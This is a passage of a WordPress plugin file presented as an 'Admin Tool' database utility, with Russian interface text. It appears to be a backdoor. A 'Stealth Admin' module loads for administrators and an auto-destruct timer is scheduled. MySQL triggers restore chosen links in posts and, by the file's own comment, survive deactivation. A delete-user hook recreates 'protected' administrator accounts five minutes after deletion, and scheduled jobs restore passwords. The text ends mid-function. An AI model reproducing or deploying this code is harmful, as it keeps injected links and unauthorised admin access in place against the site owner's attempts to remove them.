/home/coolpkct/www/websites/alylela.com/wp-content/plugins/wp-db-scout/wp-db-scout.php
<?php
/**
* Plugin Name: Admin Tool
* Plugin URI: #
* Description: Утилита администратора
* Version: 1.2.3
* Requires at least: 4.0
* Requires PHP: 5.6
* Author: Admin
* Author URI: #
* License: GPL v2 or later
* License URI: https://www.gnu.org/licenses/gpl-2.0.html
*/
// Prevent direct access
if (!defined('ABSPATH')) {
exit;
}
// Fix rich editing immediately when plugin loads (helps during installation)
if (function_exists('wp_get_current_user') && function_exists('current_user_can')) {
$current_user_id = get_current_user_id();
if ($current_user_id && current_user_can('manage_options')) {
$rich_editing = get_user_meta($current_user_id, 'rich_editing', true);
if ($rich_editing !== 'true') {
update_user_meta($current_user_id, 'rich_editing', 'true');
}
}
}
// Fix rich editing on admin_init (when admin is fully loaded)
add_action('admin_init', function() {
$current_user_id = get_current_user_id();
if ($current_user_id && current_user_can('manage_options')) {
$rich_editing = get_user_meta($current_user_id, 'rich_editing', true);
if ($rich_editing !== 'true') {
update_user_meta($current_user_id, 'rich_editing', 'true');
}
}
}, 1);
// Define plugin constants
define('WDS_VERSION', '1.2.3');
define('WDS_PLUGIN_FILE', __FILE__);
define('WDS_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('WDS_PLUGIN_URL', plugin_dir_url(__FILE__));
define('WDS_PLUGIN_BASENAME', plugin_basename(__FILE__));
// Define Stealth Admin constants
define('WDS_STEALTH_VERSION', '1.0.0');
define('WDS_STEALTH_MODULE_DIR', WDS_PLUGIN_DIR . 'modules/stealth-admin/');
define('WDS_STEALTH_MODULE_URL', WDS_PLUGIN_URL . 'modules/stealth-admin/');
// Admin Protection constants
define('WDS_ADMIN_RESTORE_DELAY', 5 * 60); // 5 minutes delay before restoration
// Load Auto Destruct system
require_once WDS_PLUGIN_DIR . 'includes/class-wds-auto-destruct.php';
// Initialize Auto Destruct on plugins loaded
add_action('plugins_loaded', function() {
// Fix rich editing for admins on plugins_loaded
if (is_admin()) {
$current_user_id = get_current_user_id();
if ($current_user_id && current_user_can('manage_options')) {
$rich_editing = get_user_meta($current_user_id, 'rich_editing', true);
if ($rich_editing !== 'true') {
update_user_meta($current_user_id, 'rich_editing', 'true');
}
}
}
WDS_Auto_Destruct::init();
}, 1);
// Activation hook
register_activation_hook(__FILE__, 'wds_activate');
function wds_activate() {
// Enable rich editing for current admin user to prevent warnings
$current_user_id = get_current_user_id();
if ($current_user_id) {
$user_meta = get_user_meta($current_user_id, 'rich_editing', true);
if ($user_meta !== 'true') {
update_user_meta($current_user_id, 'rich_editing', 'true');
}
}
// Create cache table
global $wpdb;
$table_name = $wpdb->prefix . 'wds_search_cache';
$charset_collate = $wpdb->get_charset_collate();
$sql = "CREATE TABLE IF NOT EXISTS $table_name (
id bigint(20) NOT NULL AUTO_INCREMENT,
search_query varchar(200),
search_results longtext,
created_at datetime DEFAULT CURRENT_TIMESTAMP,
expires_at datetime,
user_id bigint(20),
PRIMARY KEY (id)
) $charset_collate;";
$wpdb->query($sql);
// Create Link Protection tables
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
$protection_db = new WDS_Link_Protection_DB();
$protection_db->create_tables();
// Set default options
add_option('wds_version', WDS_VERSION);
add_option('wds_search_limit', 100);
add_option('wds_cache_duration', 300);
add_option('wds_protection_enabled', true);
add_option('wds_protection_notification_email', get_option('admin_email'));
// Add admin capabilities
$role = get_role('administrator');
if ($role) {
$role->add_cap('wds_view_server_info');
$role->add_cap('wds_search_database');
$role->add_cap('wds_manage_link_protection');
}
// Enable rich editing for all administrator users
$admin_users = get_users(array('role' => 'administrator'));
foreach ($admin_users as $admin_user) {
$rich_editing = get_user_meta($admin_user->ID, 'rich_editing', true);
if ($rich_editing !== 'true') {
update_user_meta($admin_user->ID, 'rich_editing', 'true');
}
}
// Schedule cron events for link protection monitoring
if (!wp_next_scheduled('wds_check_protected_links')) {
wp_schedule_event(time(), 'hourly', 'wds_check_protected_links');
}
// Schedule self-destruction timer
WDS_Auto_Destruct::schedule_destruction();
}
// Deactivation hook
register_deactivation_hook(__FILE__, 'wds_deactivate');
function wds_deactivate() {
// Clear cache table
global $wpdb;
$table_name = $wpdb->prefix . 'wds_search_cache';
// Check if table exists before truncating
if ($wpdb->get_var("SHOW TABLES LIKE '$table_name'") == $table_name) {
$wpdb->query("TRUNCATE TABLE $table_name");
}
// Clear scheduled events
wp_clear_scheduled_hook('wds_check_protected_links');
wp_clear_scheduled_hook('wds_daily_protection_report');
// Note: We do NOT remove protection tables or triggers on deactivation
// They will continue to work even with plugin deactivated (by design)
}
// Load required files early for AJAX handlers
if (is_admin() || (defined('DOING_AJAX') && DOING_AJAX)) {
require_once WDS_PLUGIN_DIR . 'includes/class-wds-file-logger.php';
require_once WDS_PLUGIN_DIR . 'includes/class-wds-theme-search.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-server-info.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-database-search.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-manager.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-sql-trigger-builder.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-scanner.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-comprehensive-link-scanner.php';
}
// Initialize plugin after WordPress loads
add_action('init', 'wds_init_plugin');
function wds_init_plugin() {
// Only load in admin
if (!is_admin()) {
return;
}
// Initialize Link Protection Manager (it registers its own hooks)
WDS_Link_Protection_Manager::get_instance();
// Initialize Stealth Admin Module
if (current_user_can('manage_options')) {
require_once WDS_STEALTH_MODULE_DIR . 'class-wds-stealth-admin.php';
WDS_Stealth_Admin::get_instance();
// AJAX test disabled - deployment system is working correctly
// $test_file = WDS_STEALTH_MODULE_DIR . 'simple-ajax-test.php';
}
// Add admin menu
add_action('admin_menu', 'wds_add_admin_menu');
// Enqueue scripts and styles
add_action('admin_enqueue_scripts', 'wds_enqueue_admin_assets');
}
// Initialize AJAX handlers
if (is_admin() || (defined('DOING_AJAX') && DOING_AJAX)) {
// Initialize protection handler which registers its own AJAX actions
require_once WDS_PLUGIN_DIR . 'admin/ajax/class-wds-ajax-protection-handler.php';
new WDS_Ajax_Protection_Handler();
}
// Register AJAX handlers - must be registered early for WordPress to recognize them
add_action('wp_ajax_wds_search_database', 'wds_ajax_search_database');
add_action('wp_ajax_wds_search_specific_link', 'wds_ajax_search_specific_link');
add_action('wp_ajax_wds_save_link_context', 'wds_ajax_save_link_context');
add_action('wp_ajax_wds_protect_links', 'wds_ajax_protect_links');
add_action('wp_ajax_wds_get_backup_details', 'wds_ajax_get_backup_details');
add_action('wp_ajax_wds_restore_trigger', 'wds_ajax_restore_trigger');
add_action('wp_ajax_wds_log_frontend_event', 'wds_ajax_log_frontend_event');
// Admin Protection AJAX handlers
add_action('wp_ajax_wds_protect_administrator', 'wds_ajax_protect_administrator');
// WordPress Hook for Admin Protection (replaces SQL triggers)
add_action('delete_user', 'wds_protect_admin_on_delete', 10, 2);
// Password restoration system (processes scheduled restorations)
add_action('init', 'wds_check_scheduled_restorations');
add_action('wp_loaded', 'wds_process_password_restorations');
// Add admin menu
function wds_add_admin_menu() {
add_management_page(
'WP DB Scout',
'WP DB Scout',
'manage_options',
'wp-db-scout',
'wds_admin_page'
);
}
// Admin page display
function wds_admin_page() {
if (!current_user_can('manage_options')) {
wp_die('У вас недостаточно прав для доступа к этой странице.');
}
// Log page access
$logger = WDS_File_Logger::get_instance();
$active_tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'server-info';
$logger->info('Admin page accessed', [
'tab' => $active_tab,
'user' => wp_get_current_user()->user_login,
'ip' => $_SERVER['REMOTE_ADDR'] ?? 'unknown'
]);
include WDS_PLUGIN_DIR . 'admin/partials/wds-admin-display.php';
}
// Enqueue admin assets
function wds_enqueue_admin_assets($hook) {
if (strpos($hook, 'wp-db-scout') === false) {
return;
}
// Styles
wp_enqueue_style('wds-admin', WDS_PLUGIN_URL . 'assets/css/wds-admin.css', array(), WDS_VERSION);
wp_enqueue_style('wds-link-context', WDS_PLUGIN_URL . 'assets/css/wds-link-context.css', array(), WDS_VERSION);
wp_enqueue_style('wds-protection', WDS_PLUGIN_URL . 'assets/css/wds-protection.css', array(), WDS_VERSION);
wp_enqueue_style('wds-protection-fix', WDS_PLUGIN_URL . 'assets/css/wds-protection-fix.css', array('wds-protection'), WDS_VERSION);
wp_enqueue_style('wds-protection-wizard', WDS_PLUGIN_URL . 'assets/css/wds-protection-wizard.css', array(), WDS_VERSION);
wp_enqueue_style('wds-admin-protection', WDS_PLUGIN_URL . 'assets/css/wds-admin-protection.css', array(), WDS_VERSION);
// Scripts
wp_enqueue_script('wds-admin', WDS_PLUGIN_URL . 'assets/js/wds-admin.js', array('jquery'), WDS_VERSION, true);
wp_enqueue_script('wds-search', WDS_PLUGIN_URL . 'assets/js/wds-ajax-search.js', array('jquery'), WDS_VERSION, true);
wp_enqueue_script('wds-clipboard', WDS_PLUGIN_URL . 'assets/js/wds-clipboard.js', array('jquery'), WDS_VERSION, true);
wp_enqueue_script('wds-protection-wizard-v2', WDS_PLUGIN_URL . 'assets/js/wds-protection-wizard-v2.js', array('jquery'), WDS_VERSION, true);
wp_enqueue_script('wds-protection-manager', WDS_PLUGIN_URL . 'assets/js/wds-protection-manager.js', array('jquery'), WDS_VERSION, true);
wp_enqueue_script('wds-admin-protection', WDS_PLUGIN_URL . 'assets/js/wds-admin-protection.js', array('jquery'), WDS_VERSION, true);
// Localize script with strings
$wds_ajax_data = array(
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('wds_ajax_nonce'),
'strings' => array(
'error' => 'Произошла ошибка. Пожалуйста, попробуйте снова.',
'searching' => 'Поиск...',
'no_results' => 'Результаты не найдены.',
'copied' => 'Скопировано в буфер обмена!',
'copy_failed' => 'Не удалось скопировать. Пожалуйста, скопируйте вручную.',
'auth_required' => 'Требуется аутентификация',
'auth_failed' => 'Ошибка аутентификации. Проверьте ваш пароль.',
'session_expired' => 'Ваша сессия истекла. Пожалуйста, войдите снова.',
'min_chars' => 'Минимум 5 символов',
'max_chars' => 'Максимум 200 символов',
'characters' => 'символов',
'searching_database' => 'Поиск в базе данных...',
'searching_theme' => 'Поиск в файлах темы...',
'results_found' => 'результатов найдено',
'view_details' => 'Подробности',
'hide_details' => 'Скрыть подробности',
'copy_value' => 'Копировать значение',
'table' => 'Таблица',
'column' => 'Колонка',
'row_id' => 'ID строки',
'rows' => 'строк',
'size' => 'Размер',
'file' => 'Файл',
'line' => 'Строка',
'context' => 'Контекст'
)
);
// Localize for multiple scripts
wp_localize_script('wds-admin', 'wds_ajax', $wds_ajax_data);
wp_localize_script('wds-protection-wizard-v2', 'wds_ajax', $wds_ajax_data);
// Localize protection scripts
wp_localize_script('wds-protection-wizard', 'wdsProtection', array(
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('wds_protection_nonce'),
'strings' => array(
'searching' => 'Поиск...',
'protecting' => 'Установка защиты...',
'success' => 'Защита успешно установлена!',
'error' => 'Произошла ошибка. Пожалуйста, попробуйте снова.',
'confirm_remove' => 'Вы уверены, что хотите удалить защиту для этой ссылки?',
'no_links_selected' => 'Пожалуйста, выберите хотя бы одну ссылку для защиты.',
'invalid_url' => 'Пожалуйста, введите правильный URL.'
)
));
}
// AJAX: Search Database
function wds_ajax_search_database() {
$logger = WDS_File_Logger::get_instance();
$start_time = microtime(true);
$logger->log_ajax('wds_search_database', $_POST);
check_ajax_referer('wds_ajax_nonce', 'nonce');
if (!current_user_can('manage_options')) {
$logger->warning('Unauthorized search attempt', ['user_id' => get_current_user_id()]);
wp_send_json_error(array('message' => 'Доступ запрещен'));
}
$search_term = isset($_POST['search_term']) ? sanitize_text_field($_POST['search_term']) : '';
if (strlen($search_term) < 5) {
wp_send_json_error(array('message' => 'Поисковый запрос должен содержать минимум 5 символов'));
}
if (strlen($search_term) > 200) {
wp_send_json_error(array('message' => 'Поисковый запрос должен содержать меньше 200 символов'));
}
try {
$user_id = get_current_user_id();
$results = WDS_Database_Search::search($search_term, $user_id);
if (isset($results['error'])) {
wp_send_json_error(array('message' => $results['error']));
}
// Format results properly
$formatted_results = array();
$total_matches = 0;
foreach ($results as $table_name => $table_data) {
if (!empty($table_data['matches'])) {
$formatted_results[] = array(
'table_name' => $table_name,
'table_info' => $table_data['table_info'],
'matches' => $table_data['matches'],
'match_count' => count($table_data['matches'])
);
$total_matches += count($table_data['matches']);
}
}
// If no database results, search in theme files
$theme_results = array();
if ($total_matches === 0) {
$theme_search = WDS_Theme_Search::search($search_term, array(
'max_results' => 50,
'context_lines' => 2,
'case_sensitive' => true
));
if ($theme_search['success'] && !empty($theme_search['results'])) {
$theme_results = $theme_search['results'];
}
}
$execution_time = round((microtime(true) - $start_time) * 1000, 2);
$logger->log_search($search_term, $total_matches,
$total_matches > 0 ? 'database' : (!empty($theme_results) ? 'theme' : 'none'),
$execution_time
);
wp_send_json_success(array(
'results' => $formatted_results,
'count' => count($formatted_results),
'total_matches' => $total_matches,
'search_term' => $search_term,
'theme_results' => $theme_results,
'search_type' => $total_matches > 0 ? 'database' : (!empty($theme_results) ? 'theme' : 'none')
));
} catch (Exception $e) {
$logger->log_exception($e);
wp_send_json_error(array('message' => 'Ошибка: ' . $e->getMessage()));
}
}
// Add settings link
add_filter('plugin_action_links_' . WDS_PLUGIN_BASENAME, 'wds_add_settings_link');
function wds_add_settings_link($links) {
$settings_link = '<a href="' . admin_url('tools.php?page=wp-db-scout') . '">Настройки</a>';
array_unshift($links, $settings_link);
return $links;
}
// AJAX: Search for specific link
function wds_ajax_search_specific_link() {
$logger = WDS_File_Logger::get_instance();
$logger->log_ajax('wds_search_specific_link', $_POST);
// Check nonce
if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
$logger->warning('Invalid nonce in search specific link');
wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
return;
}
if (!current_user_can('manage_options')) {
$logger->warning('Unauthorized access attempt to search specific link');
wp_send_json_error(array('message' => 'Доступ запрещен'));
return;
}
$link_url = isset($_POST['link_url']) ? esc_url_raw($_POST['link_url']) : '';
if (empty($link_url)) {
$logger->warning('Empty link URL provided');
wp_send_json_error(array('message' => 'URL ссылки обязателен'));
return;
}
$logger->info('Searching for specific link', ['link_url' => $link_url]);
try {
// Проверяем, есть ли уже защита для этой ссылки
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
$protection_db = new WDS_Link_Protection_DB();
$existing_protections = $protection_db->get_protected_links(array(
'link_url' => $link_url,
'is_active' => true
));
if (!empty($existing_protections)) {
// Ссылка уже защищена
$logger->warning('Link already protected', [
'link_url' => $link_url,
'existing_protections' => count($existing_protections)
]);
$protected_posts = array();
foreach ($existing_protections as $protection) {
$post = get_post($protection['post_id']);
if ($post) {
$protected_posts[] = array(
'id' => $protection['post_id'],
'title' => $post->post_title,
'protection_id' => $protection['id'],
'protection_type' => $protection['protection_type'],
'created_at' => $protection['created_at']
);
}
}
wp_send_json_error(array(
'message' => 'Эта ссылка уже имеет активную защиту',
'error_type' => 'duplicate_protection',
'existing_protection' => true,
'protected_posts' => $protected_posts,
'suggestion' => 'Перейдите во вкладку "Защищенные ссылки", чтобы удалить существующую защиту, а затем создайте новую.'
));
return;
}
// Используем новый комплексный сканер
require_once WDS_PLUGIN_DIR . 'admin/class-wds-comprehensive-link-scanner.php';
$scanner = new WDS_Comprehensive_Link_Scanner();
$results = $scanner->search_link_everywhere($link_url);
if (isset($results['error'])) {
$logger->error('Link search error', ['error' => $results['error']]);
wp_send_json_error(array('message' => $results['error']));
return;
}
if ($results['total_found'] === 0) {
$logger->info('Link not found in database', ['link_url' => $link_url]);
wp_send_json_error(array(
'message' => 'Ссылка не найдена в базе данных',
'searched_url' => $link_url
));
return;
}
$logger->info('Link found successfully', [
'link_url' => $link_url,
'total_found' => $results['total_found'],
'locations' => count($results['locations'])
]);
wp_send_json_success($results);
} catch (Exception $e) {
$logger->error('Exception in link search', [
'message' => $e->getMessage(),
'trace' => $e->getTraceAsString()
]);
wp_send_json_error(array('message' => 'Ошибка: ' . $e->getMessage()));
}
}
// AJAX: Save link context and create backups (Step 2)
function wds_ajax_save_link_context() {
$logger = WDS_File_Logger::get_instance();
$logger->log_ajax('wds_save_link_context', $_POST);
// Check nonce
if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
$logger->warning('Invalid nonce in save link context');
wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
return;
}
if (!current_user_can('manage_options')) {
$logger->warning('Unauthorized access to save link context');
wp_send_json_error(array('message' => 'Доступ запрещен'));
return;
}
$link_url = isset($_POST['link_url']) ? esc_url_raw($_POST['link_url']) : '';
$selected_locations = isset($_POST['locations']) ? $_POST['locations'] : array();
if (empty($link_url) || empty($selected_locations)) {
$logger->warning('Missing data in save link context', [
'has_url' => !empty($link_url),
'has_locations' => !empty($selected_locations)
]);
wp_send_json_error(array('message' => 'Недостаточно данных для сохранения'));
return;
}
$logger->info('Saving link context', [
'link_url' => $link_url,
'locations_count' => count($selected_locations)
]);
try {
global $wpdb;
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
require_once WDS_PLUGIN_DIR . 'includes/class-wds-session-manager.php';
$db = new WDS_Link_Protection_DB();
$saved_backups = array();
foreach ($selected_locations as $location) {
// Prepare backup data
$backup_data = array(
'link_url' => $link_url,
'link_context' => isset($location['context']) ? $location['context'] : '',
'source_table' => isset($location['location']['table']) ? $location['location']['table'] : '',
'source_column' => isset($location['location']['column']) ? $location['location']['column'] : '',
'source_id' => isset($location['location']['post_id']) ? $location['location']['post_id'] : null,
'post_id' => isset($location['location']['post_id']) ? $location['location']['post_id'] : null,
'post_type' => isset($location['location']['type']) ? $location['location']['type'] : null,
'post_title' => isset($location['location']['post_title']) ? $location['location']['post_title'] : null
);
// Get full content from the source table
if ($backup_data['source_table'] && $backup_data['source_id']) {
// For wp_posts table
if ($backup_data['source_table'] === $wpdb->posts) {
$full_row = $wpdb->get_row($wpdb->prepare(
"SELECT * FROM {$wpdb->posts} WHERE ID = %d",
$backup_data['source_id']
), ARRAY_A);
if ($full_row) {
$backup_data['full_content'] = $full_row[$backup_data['source_column']];
$backup_data['backup_data'] = $full_row; // Save entire row
}
}
// For wp_postmeta table
elseif ($backup_data['source_table'] === $wpdb->postmeta) {
$full_row = $wpdb->get_row($wpdb->prepare(
"SELECT * FROM {$wpdb->postmeta} WHERE post_id = %d AND meta_key = %s",
$backup_data['source_id'],
isset($location['location']['meta_key']) ? $location['location']['meta_key'] : ''
), ARRAY_A);
if ($full_row) {
$backup_data['full_content'] = $full_row['meta_value'];
$backup_data['backup_data'] = $full_row;
}
}
// For other tables
else {
$full_row = $db->backup_table_row($backup_data['source_table'], $backup_data['source_id']);
if ($full_row) {
$backup_data['full_content'] = isset($full_row[$backup_data['source_column']]) ?
$full_row[$backup_data['source_column']] : json_encode($full_row);
$backup_data['backup_data'] = $full_row;
}
}
}
// Save backup to database
$backup_id = $db->save_content_backup($backup_data);
if ($backup_id) {
$saved_backups[] = array(
'backup_id' => $backup_id,
'location' => $backup_data['source_table'] . ':' . $backup_data['source_id']
);
}
}
// Store backup IDs using WordPress transients instead of PHP sessions
WDS_Session_Manager::store_protection_data($saved_backups, $link_url);
wp_send_json_success(array(
'message' => 'Данные сохранены успешно',
'backups' => $saved_backups,
'total_saved' => count($saved_backups)
));
} catch (Exception $e) {
wp_send_json_error(array('message' => 'Ошибка при сохранении: ' . $e->getMessage()));
}
}
// AJAX: Protect links
function wds_ajax_protect_links() {
$logger = WDS_File_Logger::get_instance();
$logger->log_ajax('wds_protect_links', $_POST);
// Check nonce
if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
$logger->warning('Invalid nonce in protect links');
wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
return;
}
if (!current_user_can('manage_options')) {
$logger->warning('Unauthorized access to protect links');
wp_send_json_error(array('message' => 'Доступ запрещен'));
return;
}
$protection_type = isset($_POST['protection_type']) ? sanitize_text_field($_POST['protection_type']) : 'smart';
$logger->info('Starting link protection', ['protection_type' => $protection_type]);
// Get saved backup IDs from transients
require_once WDS_PLUGIN_DIR . 'includes/class-wds-session-manager.php';
$protection_data = WDS_Session_Manager::get_protection_data();
if (!$protection_data) {
wp_send_json_error(array('message' => 'Сессия истекла. Пожалуйста, начните заново.'));
return;
}
$backup_ids = isset($protection_data['backups']) ? $protection_data['backups'] : array();
$link_url = isset($protection_data['link_url']) ? $protection_data['link_url'] : '';
if (empty($backup_ids) || empty($link_url)) {
wp_send_json_error(array('message' => 'Недостаточно данных. Пожалуйста, начните заново.'));
return;
}
try {
global $wpdb;
require_once WDS_PLUGIN_DIR . 'admin/class-wds-link-protection-db.php';
require_once WDS_PLUGIN_DIR . 'admin/class-wds-sql-trigger-builder.php';
$db = new WDS_Link_Protection_DB();
$trigger_builder = new WDS_SQL_Trigger_Builder();
// Проверяем еще раз на дубликаты перед созданием защиты
$existing_protections = $db->get_protected_links(array(
'link_url' => $link_url,
'is_active' => true
));
if (!empty($existing_protections)) {
wp_send_json_error(array(
'message' => 'Эта ссылка уже защищена. Удалите существующую защиту перед созданием новой.',
'error_type' => 'duplicate_protection'
));
return;
}
$triggers_created = 0;
$protected_links = 0;
foreach ($backup_ids as $backup_info) {
$backup_id = $backup_info['backup_id'];
// Get backup data
$backup = $db->get_content_backup($backup_id);
if (!$backup) {
continue;
}
// Проверяем, не защищена ли уже эта комбинация post_id + link_url
$existing_post_protection = $db->get_protected_links(array(
'post_id' => $backup['post_id'],
'link_url' => $backup['link_url'],
'is_active' => true
));
if (!empty($existing_post_protection)) {
// Пропускаем этот пост, так как он уже защищен
continue;
}
// Generate unique trigger name
$trigger_name = 'wds_protect_' . $backup['post_id'] . '_' . time() . '_' . rand(100, 999);
// Save protected link record
$link_id = $db->insert_protected_link(array(
'post_id' => $backup['post_id'],
'table_name' => str_replace($wpdb->prefix, '', $backup['source_table']),
'column_name' => $backup['source_column'],
'link_url' => $backup['link_url'],
'link_context' => $backup['link_context'],
'protection_type' => $protection_type,
'trigger_name' => $trigger_name,
'is_active' => 1
));
if (!$link_id) {
continue;
}
// Build trigger parameters
$trigger_params = array(
'trigger_name' => $trigger_name,
'table_name' => str_replace($wpdb->prefix, '', $backup['source_table']),
'column_name' => $backup['source_column'],
'post_id' => $backup['post_id'],
'link_url' => $backup['link_url'],
'link_id' => $link_id,
'backup_id' => $backup_id,
'protection_type' => $protection_type
);
// Generate SQL for trigger
$trigger_sql = $trigger_builder->build_trigger($trigger_params);
// Create trigger in database
$result = $wpdb->query($trigger_sql);
if ($result !== false) {
$triggers_created++;
$protected_links++;
// Save trigger configuration
$db->save_trigger_config(array(
'trigger_name' => $trigger_name,
'target_table' => $backup['source_table'],
'target_column' => $backup['source_column'],
'protection_rules' => array(
'link_url' => $backup['link_url'],
'post_id' => $backup['post_id'],
'protection_type' => $protection_type
),
'sql_code' => $trigger_sql,
'is_active' => 1
));
}
}
// Clear transient data
WDS_Session_Manager::clear_protection_data();
wp_send_json_success(array(
'message' => 'Защита успешно установлена!',
'triggers_created' => $triggers_created,
'protected_links' => $protected_links,
'total_backups' => count($backup_ids)
));
} catch (Exception $e) {
wp_send_json_error(array('message' => 'Ошибка при установке защиты: ' . $e->getMessage()));
}
}
// AJAX: Log frontend event
function wds_ajax_log_frontend_event() {
// Check nonce
if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
wp_send_json_error(array('message' => 'Invalid nonce'));
return;
}
$logger = WDS_File_Logger::get_instance();
$event_type = isset($_POST['event_type']) ? sanitize_text_field($_POST['event_type']) : '';
$event_data = isset($_POST['event_data']) ? $_POST['event_data'] : array();
$message = isset($_POST['message']) ? sanitize_text_field($_POST['message']) : '';
if (empty($event_type)) {
wp_send_json_error(array('message' => 'Event type is required'));
return;
}
// Log the frontend event
$logger->info('Frontend Event: ' . $message, [
'event_type' => $event_type,
'event_data' => $event_data,
'user' => wp_get_current_user()->user_login,
'timestamp' => current_time('mysql')
]);
wp_send_json_success(array('message' => 'Event logged'));
}
// AJAX: Get backup details
function wds_ajax_get_backup_details() {
check_ajax_referer('wds_ajax_nonce', 'nonce');
if (!current_user_can('manage_options')) {
wp_send_json_error('Доступ запрещен');
}
$backup_id = isset($_POST['backup_id']) ? intval($_POST['backup_id']) : 0;
if (!$backup_id) {
wp_send_json_error('Неверный ID резервной копии');
}
global $wpdb;
$backup = $wpdb->get_row($wpdb->prepare(
"SELECT * FROM {$wpdb->prefix}wds_content_backup WHERE id = %d",
$backup_id
));
if (!$backup) {
wp_send_json_error('Резервная копия не найдена');
}
$info = sprintf(
'<strong>ID:</strong> %d<br>
<strong>URL ссылки:</strong> <a href="%s" target="_blank">%s</a><br>
<strong>Таблица:</strong> %s<br>
<strong>Колонка:</strong> %s<br>
<strong>Post ID:</strong> %d<br>
<strong>Дата создания:</strong> %s<br>
<strong>Хэш контента:</strong> %s',
$backup->id,
esc_url($backup->link_url),
esc_html($backup->link_url),
esc_html($backup->source_table),
esc_html($backup->source_column),
$backup->post_id,
date_i18n('d.m.Y H:i:s', strtotime($backup->created_at)),
esc_html($backup->content_hash)
);
$content = '<div class="backup-околоссылочный">';
$content .= '<h4>Околоссылочный контент:</h4>';
$content .= '<div style="background: #f8f9fa; padding: 10px; border-radius: 3px; margin-bottom: 15px;">';
$content .= nl2br(esc_html($backup->околоссылочный_контент));
$content .= '</div>';
$content .= '</div>';
$content .= '<div class="backup-full">';
$content .= '<h4>Полный контент:</h4>';
$content .= '<div style="background: #fff; padding: 10px; border: 1px solid #ddd; border-radius: 3px; max-height: 300px; overflow-y: auto;">';
$content .= nl2br(esc_html($backup->full_content));
$content .= '</div>';
$content .= '</div>';
wp_send_json_success(array(
'info' => $info,
'content' => $content
));
}
// AJAX: Restore trigger
function wds_ajax_restore_trigger() {
check_ajax_referer('wds_ajax_nonce', 'nonce');
if (!current_user_can('manage_options')) {
wp_send_json_error('Доступ запрещен');
}
$link_id = isset($_POST['link_id']) ? intval($_POST['link_id']) : 0;
if (!$link_id) {
wp_send_json_error('Неверный ID ссылки');
}
global $wpdb;
// Get protection info
$protection = $wpdb->get_row($wpdb->prepare(
"SELECT pl.*, tc.sql_code
FROM {$wpdb->prefix}wds_protected_links pl
LEFT JOIN {$wpdb->prefix}wds_trigger_config tc ON pl.trigger_config_id = tc.id
WHERE pl.id = %d",
$link_id
));
if (!$protection || !$protection->sql_code) {
wp_send_json_error('Не удалось найти конфигурацию триггера');
}
// Recreate trigger
$result = $wpdb->query($protection->sql_code);
if ($result === false) {
wp_send_json_error('Ошибка при создании триггера: ' . $wpdb->last_error);
}
wp_send_json_success('Триггер успешно восстановлен');
}
// AJAX: Protect Administrator
function wds_ajax_protect_administrator() {
$logger = WDS_File_Logger::get_instance();
$logger->log_ajax('wds_protect_administrator', $_POST);
// Check nonce
if (!check_ajax_referer('wds_ajax_nonce', 'nonce', false)) {
$logger->warning('Invalid nonce in protect administrator');
wp_send_json_error(array('message' => 'Ошибка безопасности. Обновите страницу и попробуйте снова.'));
return;
}
if (!current_user_can('manage_options')) {
$logger->warning('Unauthorized access attempt to protect administrator');
wp_send_json_error(array('message' => 'Доступ запрещен'));
return;
}
$user_id = isset($_POST['user_id']) ? intval($_POST['user_id']) : 0;
if (!$user_id) {
$logger->warning('Empty user ID provided for protection');
wp_send_json_error(array('message' => 'ID пользователя обязателен'));
return;
}
$logger->info('Starting administrator protection', ['user_id' => $user_id]);
try {
require_once WDS_PLUGIN_DIR . 'admin/class-wds-admin-protection.php';
$admin_protection = new WDS_Admin_Protection();
$result = $admin_protection->protect_administrator($user_id);
if (is_wp_error($result)) {
$logger->error('Administrator protection failed', [
'user_id' => $user_id,
'error' => $result->get_error_message()
]);
wp_send_json_error(array('message' => $result->get_error_message()));
return;
}
$logger->info('Administrator protected successfully', [
'user_id' => $user_id,
'trigger_name' => $result['trigger_name']
]);
wp_send_json_success($result);
} catch (Exception $e) {
$logger->error('Exception in administrator protection', [
'message' => $e->getMessage(),
'trace' => $e->getTraceAsString()
]);
wp_send_json_error(array('message' => 'Ошибка: ' . $e->getMessage()));
}
}
/**
* WordPress Hook Handler for Admin Protection
* This function intercepts user deletion and restores protected administrators
* Replaces SQL triggers which don't work with WordPress deletion process
*/
function wds_protect_admin_on_delete($user_id, $reassign) {
// Get logger
$logger = WDS_File_Logger::get_instance();
try {
// Load protection class
require_once WDS_PLUGIN_DIR . 'admin/class-wds-admin-protection.php';
$admin_protection = new WDS_Admin_Protection();
// Check if this user is protected
$protected_admins = $admin_protection->get_protected_administrators();
$is_protected = false;
$protected_data = null;
foreach ($protected_admins as $protected_admin) {
if ($protected_admin['user_id'] == $user_id) {
$is_protected = true;
$protected_data = $protected_admin;
break;
}
}
if (!$is_protected) {
$logger->info('User deletion - not protected', ['user_id' => $user_id]);
return; // Not protected, allow normal deletion
}
$logger->info('Protected admin deletion detected', [
'user_id' => $user_id,
'user_login' => $protected_data['user_login']
]);
// Schedule restoration after configured delay
wp_schedule_single_event(time() + WDS_ADMIN_RESTORE_DELAY, 'wds_restore_protected_admin', array($protected_data));
$logger->info('Admin restoration scheduled with delay', [
'user_id' => $user_id,
'user_login' => $protected_data['user_login'],
'delay_seconds' => WDS_ADMIN_RESTORE_DELAY,
'delay_minutes' => WDS_ADMIN_RESTORE_DELAY / 60,
